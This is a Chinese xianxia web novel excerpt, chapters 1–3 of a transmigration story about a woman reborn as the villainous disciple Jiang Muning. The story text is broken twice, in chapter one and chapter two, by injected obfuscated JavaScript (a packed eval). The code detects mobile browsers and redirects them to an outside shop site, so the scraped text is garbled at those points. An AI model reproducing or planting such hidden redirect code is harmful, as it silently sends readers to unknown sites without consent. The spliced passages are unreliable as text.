《师尊为我弃修无情道[穿书]》 1. 识卿(一) “谢亭修,我是你唯一的弟子,你怎能帮助外人来害我,谢亭修,我诅咒你不得好死,我诅咒你!” 梦里女子歇斯底里的声音近在咫尺,忽远忽近,似翻腾的海浪一层一层地拍打而来,不断地冲击着姜慕宁的脑海。 她好像身在水里,周围的水压得她快要喘不过气,她本能地去抓能够支撑她的浮木。耳边的声音就像余音绕梁般,嘈杂嘶哑地回荡。 震耳欲聋的声音不停地冲击她的耳朵,也若有若无地影响着她的思绪。 “谢亭修!你活该被灭国,我恨你。你答应过我兄长要好好照顾我的,你说话不算话!我就算是下了地狱也要拉着你一起!谢亭修。” 这个人怎么这么能骂,这语言多多少少都带了点恶毒,这得多大仇多大怨才能说出这样的话,耳畔的嘈杂声此起彼伏,各种各样的声音不断地冲击她的耳朵,扰乱她的思绪。 “徐师兄,谢师叔亲手处置了妖女,替我们太虚派解决这个害群之马,真是太好了!” “宋师妹是不是觉得除了姜慕宁,谢师叔就会收你做亲传弟子……” “杀了她!她已被附身,谢亭修,你还在等什么?谢亭修!” 那位骂到后面忽然歇了起来,嘈杂汹涌的浪潮逐渐寂静,仅仅是一瞬间,她的耳畔再次响起来的是位男子的声音:“逆徒姜慕宁,勾结魔族,残害同门,危害黎民百姓,其罪当诛,念在你是我的弟子,便由我来清理门户。” 这道声音话音不高,却字字清晰,带着不容置喙的凛冽,落在姜慕宁的耳畔时,无形中激起了她心头的颤栗,但她心间却觉得,除去话语的内容,这声音倒是颇有磁性,十分好听。 这应该便是谢亭修的声音了……这个名字怎么有点耳熟? 貌似在某个地方见过这个名字。 还有姜慕宁? 这个名字也熟悉。 等等,这不就是她的名字—— 咚地一下,她仿佛被人提了起来,漆黑的四周犹如毒蛇攀上她的身体,悬空的脚不停地捣腾,她想要挣脱这个缠住她的束缚,却在下一刻坠入了深渊。 静了半晌的世界又传来女孩哭得撕心裂肺的声音,姜慕宁记得女孩的声音,那是她姐姐的孩子,她想要睁开沉重的双眼,想要看清所处的世界,但眼前一片混沌,什么东西都看不清。 “小姨小姨,你快醒醒啊小姨!我不要你……”后面的话断断续续的,转由咔嚓咔嚓的声音代替。 她的唇微微翕动,用尽全力推开了无形的桎梏,睁开了眼睛,极力地想要看清所处的地方。 这是缥缈虚空的地方,既无人烟,更无生息,她脚下的火光与冰霜交融在一起,映在她的眼帘,“我去,这是什么鬼地方,好像阴曹地府,我不会是死了吧?” 她走了一步,火光蹿到她的身上,烫了她一下,再走一步,结出的冰霜犹如飓风将她包裹在一起,将她冻了个彻底后,又瞬间粉碎在地。 被火烧和被冰冻过的姜慕宁愣愣地盯着毫发无损的身体,僵硬地活动着五指,半晌后恍然大悟般笑出了声:“呃……这个梦倒是真实,痛感竟然还在,大概是我疯了。” 突然地,一阵白光袭来,以迅雷不及掩耳之势蔓延在她的周身,随即重重地击打在她的身上,好像有何物迅速地从她的手上流过,她奋力抓住那物,却扑了个空,只远远瞧见一张与她极为相似的脸穿过她的身体,彻底地消失在了眼前。 耳中响起一道忽远忽近的声音:姜慕宁,这剧本因你而变,为你而生…… 后面的话散在尘埃,隐于深渊,黑夜白昼交替不休,她顾不得去追寻那些未知的秘密。 藤蔓缠住姜慕宁,不停地缠绕在她的周身,心脏也如人狠狠地撕扯一般,痛得她哐哐流泪。 “好疼!好疼好疼……我还不想死啊。” 姜慕宁忍着心脏传来的疼痛,本能地寻找能够支撑的东西,抓住后用力往前打去,就在此时,眼前忽然明晰,撕开黑暗后的地方无比陌生。 困住姜慕宁的枷锁几乎断裂,而她抓住的棍棒也正好敲在了一张十分陌生的男人面孔上,而他手里的盆空空如也,水尽数落在了她的脸上,流淌到了地面。 两两相望,唯余失望。 她清楚地瞧见男人眼瞳倒映出的自己,那张脸与她的脸别无二致,略施粉黛,不说美艳动人,也算得上娇俏可爱;所着衣服并非现代样式,更像是电视剧里的仙侠风格,穿在身上竟还有几分仙风道骨。 还在做梦,姜慕宁毫不犹豫地给了自己一巴掌,火辣辣的疼痛从脸颊左侧蔓延,涌上了心头,她捂着脸,一脸不解地看着眼前的男人。 一旁被捆的人急得差点挣脱束缚,还没下一步的动作就被光束弹中,生生地挨了好几个巴掌,急迫地对着她说:“姜师妹,你不要命了?你要死也别连累我啊!” 姜师妹,是在说她吗? “你说的姜师妹,是我吗?”她偏头看了一眼身旁狼狈的男子,警惕地再看看四周,从他的反应来看,就是她无疑。 她的目光转到了地上的骷髅头,一个、两个、三个…… 还有各种各样的刑具和多名着古朴衣物的人,按照她看小说多年的经验来看,姜慕宁觉得她是穿越了,还是穿成了与她同名同姓的人。 她来不及去接受这个听上去何其荒诞的事实,只能迅速地回归现实。 周围的一切仿佛被静止了一般,姜慕宁的眼眶里看到的事物被逐渐放大,一股不详的预感涌上心头,她下意识地扯回来,道着歉:“对不起对不起,大哥,我不是故意的。大哥你没事吧?” 眼前这个男人张牙舞爪,有种下一刻就要让自己血溅三尺的感觉。 那男人捂着脸上的血,有些不可置信地盯着姜慕宁,表情瞬间扭曲起来,一副恶狠狠的模样,紧接着拿起手上的鞭子就抽了过来,骂道:“姜慕宁,你居然敢来真的,计划里没有打我的脸这一说法,反正他们已经得手,你现在也没有任何利用价值了,我现在要杀了你。” 这都算怎么个事? 居然? 这男的和自己还很熟悉? 她嘴唇翕动,半晌没说出话,本能地躲了过去,她手抓着身后的铁柱,绕了好几圈,急促地道:“大哥,别打我啊,我就是一个菜鸟,没得罪你啊,让我再捋捋,我保证你要打的人就能醒过来!” 鞭子缠绕在铁柱上,好巧不巧地抽在身边被捆着的另外男子身上,便是刚才称她为“姜师妹”的男子,他痛苦地叫喊着:“我们是一伙儿的,徐鹤白和沈霁雪还没来呢,方囚你给我住手啊。” 被唤作方囚的男人甩了甩手里的长鞭,居高临下地盯着师兄,无语地摇晃着脑袋,嗤笑出声,“小堂主早已解决了他们,现在这里交给了我,你们两人的性命本就轻贱,能够和小堂主合作,就是死了,也是死得其所,我早就看不惯这个姓姜的女子,既然陈兄想要逞英雄,那我先教训你,替你圆了这个英雄救美的好戏。” “别别别,说好了先打她,咱们得说到做到。”陈师兄赧颜强笑,似乎是觉得笑容能够给他带来一点安慰和麻痹对方,“说到她,其实我也讨厌姜慕宁,她在太虚派作威作福,欺负无数同门,连我也很难幸免,我们才是同一战线。” “啪”的一声,那位师兄的脸颊两侧被铁鞭打出两道鞭痕,血液从他的脸上渗了出来,姜慕宁慌忙之中看了他一眼,心中歉意渐深,思忖片刻,还是选择拔腿就跑,“谁和你一伙的,自求多福吧你,我还不想死!” 她还没有弄清楚怎么回事,当然不敢相信任何人的说辞,姜慕宁用尽毕生的力气跑出这黑漆漆的地牢,但她也不知道的是,她身后的灵光替她阻挡了追来的守卫与藏在暗中发出的攻击。 要死了,这里是哪个鬼地方?她不想死啊! 难道她还在梦里吗? 她要快点醒过来才行,奔跑途中,姜慕宁不慎被崎岖不平的路绊倒,重重地砸在了地上,腿上的疼痛让她无法起身,她的目光落在了紧追而来的守卫身上。 在她的认知里,与其说那些守卫是人,不如说是没有感情的僵尸,它们的脸上带着大大小小的淤青,眼眶里并没有眼珠,还时不时地窜出火光和暗器,且身形极快,眼看着就要逼近姜慕宁。 她害怕地往后缩了一下,求生的意识让她暂时忽略了腿上的疼痛,强行从地上爬起来,奋力奔跑进那扇即将关闭的暗门里面。 也在这时,姜慕宁腰间的法器察觉到她的危险,自动散出光尘,抵挡了攻来的箭矢,给了她逃走的机会。 * 姜慕宁越过重重机关,躲进了一间密室,胸腔里的心跳得太快,以至于她久久不能平复下来,身体贴在冰凉的石壁上,处在黑暗里观望着四周。 这间密室并不宽大,甚至可以说是狭小,仅仅是依靠一盏微弱的蜡烛才能勉强看清一点这里的布置,除去这些,空气里还时不时地传来几阵腐朽的气息。 “见鬼了,痛是真的,人是真的,为啥这段莫名让我感到熟悉?还真让我赶上穿越了?”姜慕宁的手搭在冰凉的岩石上,似有柔滑的东西从她的手里流过,她放在鼻间闻了一下,嫌弃地挥了挥手,试图令这股难嗅的气息散开,“那有系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500680|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?系统!也没有系统啊,一般像这种穿书都会有系统和金手指的才对……她也叫姜慕宁,同名同姓,还有小堂主,难不成还是炼刀堂?” 同名同姓……再结合刚才发生的事情,这不就是她刚刚看过的那本小说吗? 那她是怎么来的呢? 还有,为啥她一点也不觉得可怕,反而有些坦然地接受了这样离奇的事情? “这什么也想不起来,太奇怪了。”姜慕宁猛地仰头,头不小心敲到了坚硬的石壁,身体的疼痛暂时盖过了内心的恐惧,她咽了一下口水,思绪也朝着荒诞不羁的角度去想。 想着想着,平静如水的脑海里猛然浮现出零碎的记忆画面,这次涌来的画面没有任何声音,画面所见的人尽数如百川归海一般归到她的大脑。 这不是她的记忆,是那些人口中所说的姜慕宁的记忆,她极力地回想着这段剧情发生的事情,但无疑,她没有想起任何有用的信息。 在这本名为《正道魁首修养手册》的小说里,姜慕宁是恶毒反派女二,小说对她的描绘寥寥无几,大多是以推动男女主感情线发展而出现,像这样恶毒又单一的角色,下场都不会有多好。 书里的姜慕宁十分嫉妒女主沈霁雪,多次多次下毒和陷害女主,还勾结魔族,吸收同门的灵力,练就邪术,家族也对她弃之敝屣,最终死在了她的师尊手里,反派女二的结局至此落下帷幕。 嘶……太惨了,想到自己以后也是这么死的,姜慕宁头皮一阵发麻,直到现在她还是不愿相信已经穿越,心里还在祈愿自己只是做了一个梦,觉得梦醒了,这一切就不攻自破了。 现实很快就给了她一巴掌,时间一点一点地流逝,她仔仔细细地将这里的布置看清,再看看自己身上穿的衣物,认命般地选择了妥协。 不是梦,是现实,她得想办法活下去。 如果姜慕宁没有猜错,这段剧情应该是她和陈风华联手,想要借助炼刀堂的手引沈霁雪来送死。 “或许还是能活的,这段剧情她没死成。”姜慕宁暗自给自己打气,很快平复好心情,“既然没有系统,那我是不是不用跟着走剧情了?挺好,就算要死,我也得看看这书里的世界,吃好喝好,心满意足地死。” 姜慕宁待了有一会儿,心里没来由地感到不安,刚想从藏身的暗道走出去观察,身子不小心碰到了一处机关。 一声轰隆隆的清响打破了空间里的寂静,姜慕宁背后贴着的石壁忽然脱离控制,蓦地自中央向两侧迅速分离,掉落的石块砸在地上,散落在地,差点砸到她的脑袋,幸好她躲得及时。 她趁乱抓住一旁的支撑物,手上黏黏糊糊的,她好奇地抬眸去看,凑在鼻间嗅了一下,一股浓厚的铁锈气味自指尖缓缓传来,“这是血?血!” 察觉是何物后,姜慕宁连忙擦拭掉手上的黏液,刚想跨出一步,眼前似有东西掉了下来,吓得她瞳孔骤缩,血色的圆滚滚的珠子滚到了她的脚下,就在刹那,她的双手双脚被禁锢,整个人拖至半空。 屹立的物体纷纷挪了过来,姜慕宁忍着眩晕的难受,艰难地看着凑过来的东西是何物,那是密集的人类尸体部件,零零散散地被安置在案板里,经过一道缓缓前来的身影轻轻拂手后便自动组装在了一起。 灯火逐渐通明,但她丝毫瞧不出来人是何面目。 尸身挥发出恶臭的气味,无时无刻不在吞噬她的意识,这算是什么事?原著里没有这段剧情,原著应该是她和方囚躲在暗中偷袭女主才对! “姜慕宁,怎么来的?”她只能看见那道背影,听到来人发出十分变态的笑,不由得心里一颤,“你来了也好,所有和谢亭修有关系的人都得死得干干净净的,嗯……你知道了我的秘密,就来做我的傀儡,替我杀了谢亭修,如何?” 她想也不想,道:“我什么也不知道,别杀我啊,我和谢亭修也没有任何关系,我只是一个手无缚鸡之力的弱女子,放我走吧!” 那人不语,再次发出嗤笑声,那眼神仿佛在说“真是个没骨的女子”,手掌心发出的灵力将她的身体牢牢禁锢,吸取她的一切生息,她觉得呼吸越来越困难,意识被剥离的痛苦让她更加清醒。 姜慕宁毫不犹豫,几乎是下意识地去抽藏在腰间的法器,击碎了这道屏障,而就在此时,一把冒着蓝光的玄剑不知道从哪个地方冒了出来,刺中了那人的胸膛,瞬间将这里冰封起来。 她被那人汇聚的灵力击中,飘到了半空,摇摇欲坠之际,她被一人揽住腰身,安全地带到了地面,耳畔是道很温柔的声音:“姜师妹,没事吧?奇怪,谢师叔的剑怎会出现在这里?” 2. 识卿(二) 姜慕宁心口上的疼痛倒是在一点一点地褪去,如涸辙之鲋得到解救一般,道:“徐师兄,救我!” 谢师叔? 会是杀过她的谢亭修吗? 脑海里浮现出的名字却是让她身子一颤,姜慕宁的耳畔再度响起那道义正言辞的言语,久久不能平复,直到那人开口说话:“姜师妹,你在此等候,我与霁雪先去捉拿为祸的妖道,至于谢师叔的寒霜剑,便先交给你。” 姜慕宁心里觉得奇怪,腰上的手只滞留了一瞬间,她被放在一处比较安全的地方,抬眸不解地注视着身前仪态端正的蓝衣男子。 他的五官端正,眉目清秀如画,处处透露着温柔,待人宽厚,是原著中除了谢亭修外最为正义的人,也是本书里的男主,曾与女主沈霁雪联手抵御魔教入侵,完成守护人间的使命,最终修成了正果。 说罢,他将插在那人心脏上的白色灵剑强行召回,递给了她,正欲离去之时,姜慕宁揪住了他的衣角,好奇地问道:“徐师兄,你是和沈师姐一起来的吗?” 白色的剑自动幻化出剑鞘锁好,不再有任何的反应。 徐鹤白听后微微一愣,显然是她的称呼令他感到诧异,从前的姜慕宁只会连名带姓地唤霁雪,突然这么有礼数,他倒是有些不太自然。 她对自己的称呼也从“鹤白”变成了“徐师兄”,不过转念一想,徐鹤白心中倒是轻松许多,或许姜慕宁已经不再纠缠自己,又或许是又想出了别的招数。 总之,别再动些邪念就好。 他的目光下移到她的手心,眼底不经意间流露出别样的情绪,暗自扯了扯衣角。虽是平易近人的模样,但姜慕宁看得出来他很不喜欢自己。他道:“正是,我想请姜师妹自重,切勿将旁的心思放在不相干的人身上。这次发生的事我会如实告知谢师叔,你受了伤,便在一旁等候就好。” “哦哦哦,好。那师兄能否给我放个结界,我怕心怀不轨之人偷袭我。”姜慕宁连连点头,一心只想保命,原著里的姜慕宁喜欢徐鹤白喜欢得痴狂,但她并非作者设定的纸片人,她要的只是狗狗祟祟地活着,然后找到回去的办法。 徐鹤白眉头拧了一下,身后一阵窸窣过后,他的神情藏着半信半疑,思忖片刻,答应了她的请求,说道:“也好,我与霁雪探查过这里,这间密室内有乾坤,谢师叔已将这里冰封,里面的妖兽断然逃不出来,劳烦师妹先别轻举妄动,否则极易被认作炼刀堂的同伙。” 这意思不就是说是她与炼刀堂联手,故意被掳来这里的吗? 这也没错,原著是这么写的,既然没有任何限制,那她何不随心所欲,想怎么样就怎么样,甚好甚好。 原著的姜慕宁躲在暗处偷袭了沈霁雪好几次,差点害了女主丧命,幸亏是徐鹤白返回家族跪了三天三夜,求得七色宝莲,才救回了沈霁雪。 “好的,师兄,我绝不拖你们的后腿。”她的双手拿好剑,见徐鹤白抬手给她下了一道彩色的结界后便立即寻好一个隐蔽的地方躲好。 男子的剑风强劲有力,焕发着绿色的光芒,与那迟来的蓝色气息交缠,一同袭去,擒住了为首之人,应该是沈霁雪来了。 她注意到男子剑上的剑穗,那是难得的蚕丝所作,经沈霁雪一针一线编织而成。 姜慕宁一屁股坐在地上,百无聊赖地四处观望,不由自主地望向远处的两道身影,心里想着近距离瞧瞧作者笔下的男女主并肩作战真是一种享受和幸福,要是她也不死,就这么看看也不错。 真好。 姜慕宁垂眸看着手里的剑,剑身结着层层的寒霜,印在上面的云卷印记隐隐泛着金光,汇聚了点点星光,折射在她的周围,在她手心的那一处的寒冷逐渐被消融开来。 她拔出剑鞘里的剑,作势一挥,地面瞬间塌陷下去,为保安全,她还是收好了剑,喃喃地道:“这难不成是上天给我的奖励?我能用谢亭修的剑,是不是代表不会死在他的手上了?算了,死不死的,我都不会接近这个人。” 很快地,同她一起被捉的陈师兄也被丢进了结界里,他的脸重重地砸在了地上,晕开的灰尘瞬间扰了她的视线,姜慕宁见状往旁边挪了一点,一脸警惕地盯着他。 陈师兄原名陈玄昭,是五大世家的陈家独子,这次跟着姜慕宁联手与炼刀堂合作只为除去心中憎恨的人,姜慕宁想除沈霁雪,而陈玄昭想杀徐鹤白。 爱慕徐鹤白已久的姜慕宁自然不会亲眼看着陈玄昭动手,因此姜慕宁在重伤了沈霁雪后,就拔出藏在这间暗室的利器亲手杀了陈玄昭,对外称是陈师兄误触机关,躲闪不及,才导致毙命。 陈玄昭狼狈地起身,拍开灰尘,面部表情有了一点扭曲,但他还是极力地佯装潇洒,默默地瞪了一眼姜慕宁后便悄悄汇聚灵力准备袭击徐鹤白。 她撩起眼帘,不经意间瞟了一眼,在他准备动手的时候一脚踹过去,不忘喊道:“师兄,有暗器!” 丢出的灵力偏了方向,正巧击中了姗姗来迟正欲偷袭的方囚,方囚被迫掉落在地,刚刚起来一点便被沈霁雪的剑刺中右腿,大喊之际被徐鹤白一掌击昏,倒在了地上。 姜慕宁的视线落在了远处的蓝衣女子身上,与她的目光交汇了片刻,她迅速点了点头,露出一道很友好的笑容,便见沈霁雪拧了拧眉,转头过去,继续提剑斩杀这间密室蹿出的妖兽。 “姜慕宁!你是不是忘了我们的合作?信不信我现在就杀了你?”陈玄昭的腿还在隐隐作痛,锐利的目光犹如毒箭袭在她的身上,凝聚灵剑,想也不想便朝她砍去,“我早知道你舍不得徐鹤白,既然如此,我先杀了你,再杀了徐鹤白,反正姜伯伯也不会因为一个有辱门风的女儿与我陈家交恶。” 姜慕宁预料到他的动作,抱着剑侧身躲了过去,迈了好几步,停到她认为的安全距离才提醒道:“我从来都没有和你合作,我现在受了伤,你趁人之危一点也不光明磊落,我提醒你啊,别再过来,谢亭修的剑还在我这里,你趁早收了你的杀心。” 一剑径直劈来,剑上的凛凛寒光映入她的眼眸,姜慕宁拔出腰间的法器,是一把玄色铁伞,上面映着水墨丹青山水画。 她握着伞柄,微微转动,透亮的伞面瞬间放出许多的箭矢袭去,她刚想抽出藏在伞柄的灵剑,就被陈玄昭的剑击中,倒在了地上。 姜慕宁头一回觉得这么痛,心头是钻心的疼,像有无数只蚂蚁啃咬她的心扉,腐蚀了她的身体各处,让她痛苦难耐,“陈玄昭,你杀不了徐鹤白,也得不到沈霁雪,我从来都没有和你有任何合作,你杀了我于事无补!我、我姜家还有我师尊知道是你动的手,也绝不会放过你。” 这个人还真是阴险,姜慕宁本来想凭借着记忆催动身体的灵力,可提到丹田却反受重伤,吐了一口鲜血,这才发觉自己应是中了毒。 这怎么和原著不太一样? 她记得没有中毒…… “姜师妹,我们来之前是不是喝过这里的甘泉?我告诉你,里面有一种让人灵力尽失的毒药,现在应该是起效了,啧啧啧,我以为你真会帮我,没想到你竟然敢暗算我,既然如此,我还留你作甚?”陈玄昭再次掸了掸不存在的灰尘,哂笑之余不忘嘲讽道,“姜家要你破了谢亭修的道心,是你爱上了徐鹤白,忘了正事。你以为姜家会留你,你以为谢亭修会要一个胡作非为的弟子吗?” 他的语言直白扼要,直戳姜慕宁的防线,事实便是如此,书里的姜慕宁得到了一个众叛亲离、魂飞魄散的结局,许多看过的人会以为这是件皆大欢喜的事情。 可在姜慕宁看来,却是无尽的悲哀,不知是否为同名同姓的缘故,她在看的过程中竟起了一丝怜悯,比起另外的女配,这个结局于书里的姜慕宁而言,未免太过于残忍。 “天真!妄想!” “你只是姜伯伯讨好皇帝的一把刀,还真以为人人都宠爱你,简直愚蠢至极,你嚣张跋扈、欺压同门,旁人不敢对你指指点点,但我陈玄昭不一样,你姜慕宁就是个妖女,和你爹你娘一样,是个短命鬼!” 不是,这怎么还人身攻击啊。 也不带这么拉仇恨的。 陈玄昭说得铿锵有力、掷地有声,但姜慕宁选择充耳不闻,悄悄地从地上爬走,谁知被他给发现,反手便发动攻击,她见状滚了一圈,连连骂道:“陈玄昭,偷袭非君子所为!你这个乌龟王八羔子,我先说哈,我师尊的剑现在在我这里,你别逼我用它打你。” 也不给他回答的机会,被姜慕宁丢在地上的寒霜剑自动出鞘,盘旋在半空几刻,剑锋锁定了陈玄昭,将人击倒在地,还顺带打翻了这里摆放的器具。 陈玄昭一时不敌,被打得毫无还手之力,胸膛里传来如同火焰灼烧后又被冰敷的痛感,连连求饶,掏出几张信笺,虚弱之余不忘威胁道:“这是你与炼刀堂联系的信物,你现在让这把剑停下,不然我就让太虚派上下看看你是如何勾结魔教的。” “啪”的一声,他的脸被寒霜剑连续抽了十几下,紧攥的信笺尽被毁成了碎片,从两人之间的缝隙簌簌坠落。 她尴尬地笑了一下,不示弱地道:“我都说了,我师尊的心是在我这里的,他的剑当然会听我的命令。” 虽然不知怎么回事,但总归是好事。 陈玄昭的脸色霎时惊恐如斯,再次被打倒在地,但这一次不是寒霜剑动的手,而是沈霁雪的随身法器弯月刀发动了攻击。 寒霜剑不知何时又静然地躺在了地上,仿佛刚才的事与它无关一般。 “陈师弟,肆意伤害同门和销毁证据,按照门规当领三鞭戒尺,我代藏雷峰行此处罚,我劝你别再挣扎。”沈霁雪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500681|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯月刀乃是神器,可肆意变换成任何法器,话音刚落,弯月刀便变成了一条纤细的鞭子打在了陈玄昭的背上,生生打出了一道印子。 “师姐,是他要杀我,我什么也没做!”姜慕宁大气不敢出,识趣地退后一步,认真地观察眼前的美丽女子,她的神情清冷若霜,犹如谪仙不染尘埃般,迷人的眉眼撇过陈玄昭时流露出几丝嫌弃的意味。 再看看陈玄昭,不仅没有生气,反而伸出舌头去舔嘴角流淌的血液,带着眼角滑落的泪一起咽了下去,望着高高在上的沈霁雪,他笑得肆意无比,近乎变态般道:“霁雪,你知不知道是姜慕宁要害你,是我阻止了她,你打我一点也不疼,再打一下试试,我觉得这样能够让我更加清醒。霁雪,若是打我能让你接受我的求亲,我心甘情愿挨打。” 此人有疾,哪有人这么要求的,姜慕宁瞪大眼睛,心里不禁腹诽:“陈玄昭啊,原著姜慕宁杀的第一个人是你,你应该感谢我,不过你这就有点变态了吧。” 迟来的徐鹤白徐徐出现,连带着身后的太虚派弟子擒着解封的妖兽与守卫,瞧着那不太自然的神情,仔细瞧去竟有几分愠怒,他出手打晕了陈玄昭,走到沈霁雪的身前,对着沈霁雪小声说道:“陈玄昭竟敢冒犯你,这是他自找的。” * 再到后面,他们便到了太虚派的藏雷峰。 徐鹤白和沈霁雪交代了幽州小雁堂的相关事宜,便自主退到了一旁,其他弟子依次退离藏雷峰,五峰长老来了四位,皆以审视的目光袭向跪在地上的两人。 姜慕宁悄悄地抬头看了一眼在场的人,她的视线最先定格在看上去最为和善的掌门岳明恪,其次是地坤峰的李玄策长老,再次是藏雷峰的雷千行长老,最后是离火峰的南宫酒长老。 人数貌似有点不太对。 还少了一个人。 水云峰的谢亭修没来! 她的思绪飘摇过千山万水,终被一道很温和的声音唤回:“小宁,小白和小雪说的都是真的吗?陈玄昭暗自与方囚勾结,将幽州的百姓炼成傀儡,企图引小白前去送死。而你是在途中不慎被方囚掳去,误入歧途。师伯这里还有另外一个说法,你想不想听听?正好你师尊未到,我给你讲讲。” 我不想听…… 无非就是原著的那些剧情,说姜慕宁杀害同门陈玄昭,杀方囚,勾结魔教,那些书信也未曾被毁去,这些罪状陈列出来足以令她废尽修为,受藏雷峰的十道天雷,就连位于三十一层境界的谢亭修也很难毫发无损地承受。 除了死,还是死。 不过姜慕宁的戏份一直留到了结局前几章,这次她并不会死,当听到岳明恪的话时,姜慕宁早有准备,微微仰头,偷偷瞥了一眼还在狡辩的陈玄昭,无意翻衣袖,露出满是伤痕的手臂,哭诉道:“师伯,我真的没有勾结魔教,我不知道陈师兄会在那里,我只是想下山祭拜我娘,不小心被炼刀堂的人捉了去,我真的不知道为何那里会有那么多的妖兽和傀儡……你看,他们不仅不给我吃的,还打我!” 这些伤是真的,祭拜也是真的,暗杀也是真的。 就连坑害沈霁雪和陈玄昭也是真的。 唯一是假的便是现在她说的话。 一旁的陈玄昭霎时目瞪口呆,脑中犹然炸开许多的烟花,起身指着姜慕宁说:“她说谎,明明是她想要杀了霁雪,联合那些魔教妖人私炼傀儡,豢养妖兽。姜慕宁,敢做不敢当,你敢不敢拿出你藏在千机伞的东西,让他们看看是不是你在暗中与他们联系?” 她坦然地打开千机伞,里面空空如也。 “我都说了没有,师兄总是诬赖我。”姜慕宁也起身,绕到岳明恪身旁,“我知道师兄是万众瞩目的陈家世子,还是李师叔最为看重的弟子,但这也不是你污蔑我的理由。” 陈玄昭惊掉了下巴,这个女子是何时发现他将东西藏在她的千机伞里? 姜慕宁暗自窃喜,她可是手握剧本的人,这些瞒不了她的,何况现在的她还没有到结局。她顿了顿,正想再出言时,一道流光一闪而过,手里握着的寒霜剑也开始隐隐震动,最终脱离她的手飞了出去。 人影还没有见到,众人的耳畔率先响起一道清冷悦耳的声音:“诸位的见解我已知晓,我既为她的师尊,便有处置她的权力,明恪,姜慕宁所见,寒霜剑的剑灵已悉数告知了我,她虽无大过,但仍有偏差,将她押至藏雷峰的藏经楼面壁思过三日,你们意下如何?” 人影停在了她的面前,目光毫不掩饰地扫了她一圈,定格在她的耳垂,似有灵力涌向她的身体,滞留一瞬便消逝而去。 曾几何时,姜慕宁觉得耳旁的讨论声逐渐被隐了去,双腿发软,不停地在颤抖,没敢抬眸。 直到那人蕴藏着疑问的声音再度响起来,“姜慕宁,你很怕我吗?” 3. 识卿(三) 姜慕宁瑟瑟发抖,脑海里不断回想起谢亭修杀她时说的话以及心脏传来的痛苦,一想到这里,她的身体止不住地颤抖,连抬头去看师尊的勇气都不曾有。 僵持了良久,意识到众多目光落在自己身上的姜慕宁强行压下生理性害怕,抬了一点眼皮,觉察到谢亭修的一丝容颜,便立即低头,弱弱地道:“弟子问心无愧,不惧任何事、任何人。师尊的惩罚,弟子愿意承受。经历此事,弟子自知往日多有骄纵,愿自请离开水云峰。” 看谢亭修没有觉察她的身份,应该没有事,既然如此,她要离谢亭修越远越好。 最好从此以后井水不犯河水,她不用刻意坏他道心,他也不会杀了自己。 此言一出,在座的长老面面相觑了几阵,就连一旁的沈霁雪与徐鹤白心照不宣地相视一眼,沈霁雪眼底里的别样情绪一闪而过,从中走了出来,附和道:“师叔明鉴,姜师妹有嫌疑,但曾救我一命,还请师叔看在我的份上,饶了她这次。至于陈玄昭,我在他的身上发现了这枚玄元控灵丹,或许这非他的本意,如今方囚已畏罪自杀,我们与鹤白只寻到了这封来自烈阳城的密信。” 到底是女主,这气场不要太强,姜慕宁仔细看着那枚红色丹药,纹路颇多,密集如线缠绕,时不时地发出红色的光芒。 陈玄昭露出一抹微笑,赶紧借着沈霁雪的话辩解,对着地坤峰的李玄策,委屈巴巴地曲出三指,认真地说道:“对,天地良心,师父,我真的没有勾结魔教,我是知道霁雪与鹤白即将前往幽州除患,想替他们把把关,我是被方囚给骗了,弟子真的不知道他是炼刀堂的人。” 反正方囚已经服毒自尽,死无对证,想到此,陈玄昭得意地冲着姜慕宁扬眉,“反倒是姜师妹,她祭拜的地方应是在烈阳城,好端端地,跑幽州台去做什么?这谁勾结谁无辜,一目了然!” 她好不容易才绕了过去,这货把锅又甩到了她的身上。 姜慕宁立即不乐意了,想着维持一下原有的人设,反驳道:“陈玄昭,这是你逼我说的,我本来想去烈阳城,但下山之前我瞧见了陈师兄鬼鬼祟祟地进了李师叔的丹药房,取了好多的灵药,起初我以为是师叔要的,后来我看着他御剑出了山门,一时好奇便跟了去,谁曾想他是去烟花柳巷之地,还说什么只喜欢沈师姐,我看都是骗人的。后来我寻不到他的踪影,一时不察,就被方囚掳了去,这才让他们抓住把柄,要挟师姐和师兄前来。” 为防他们不信,姜慕宁趁他不注意,出手截下了他的衣袖,藏在里面的东西便掉了出来,谢亭修率先拿起东西,打开一看,竟是几张花色的信签。 上面的内容稍稍有些露骨,谢亭修瞟了几眼,便将它交给岳明恪,随即面无表情地念出最为显眼的几个字:“陈郎勇猛威武,妾心向往之,愿做蒲苇与花蕊,五月既望,待君采撷。” 虎狼之词! 想不到这陈玄昭还是一个妥妥的渣男。 姜慕宁想去观察谢亭修的表情,但胆怯让她罢了休,她还不知谢亭修是何模样,原著对他的描写可谓是谪仙般的人物。 沉默良久的李玄策有些疑问地“嗯”了一声,沉声询问:“玄昭,她说的是真的?刚才怎么不说?” 虽然原著的陈玄昭死得透透的,但他还活在回忆里,后续的剧情多多少少也和他沾点关系,现在拿出来用用也为时不晚。 陈玄昭哑然失笑,脸上赧颜羞色半晌,咬牙切齿般扯出话:“姜慕宁,算你狠……” 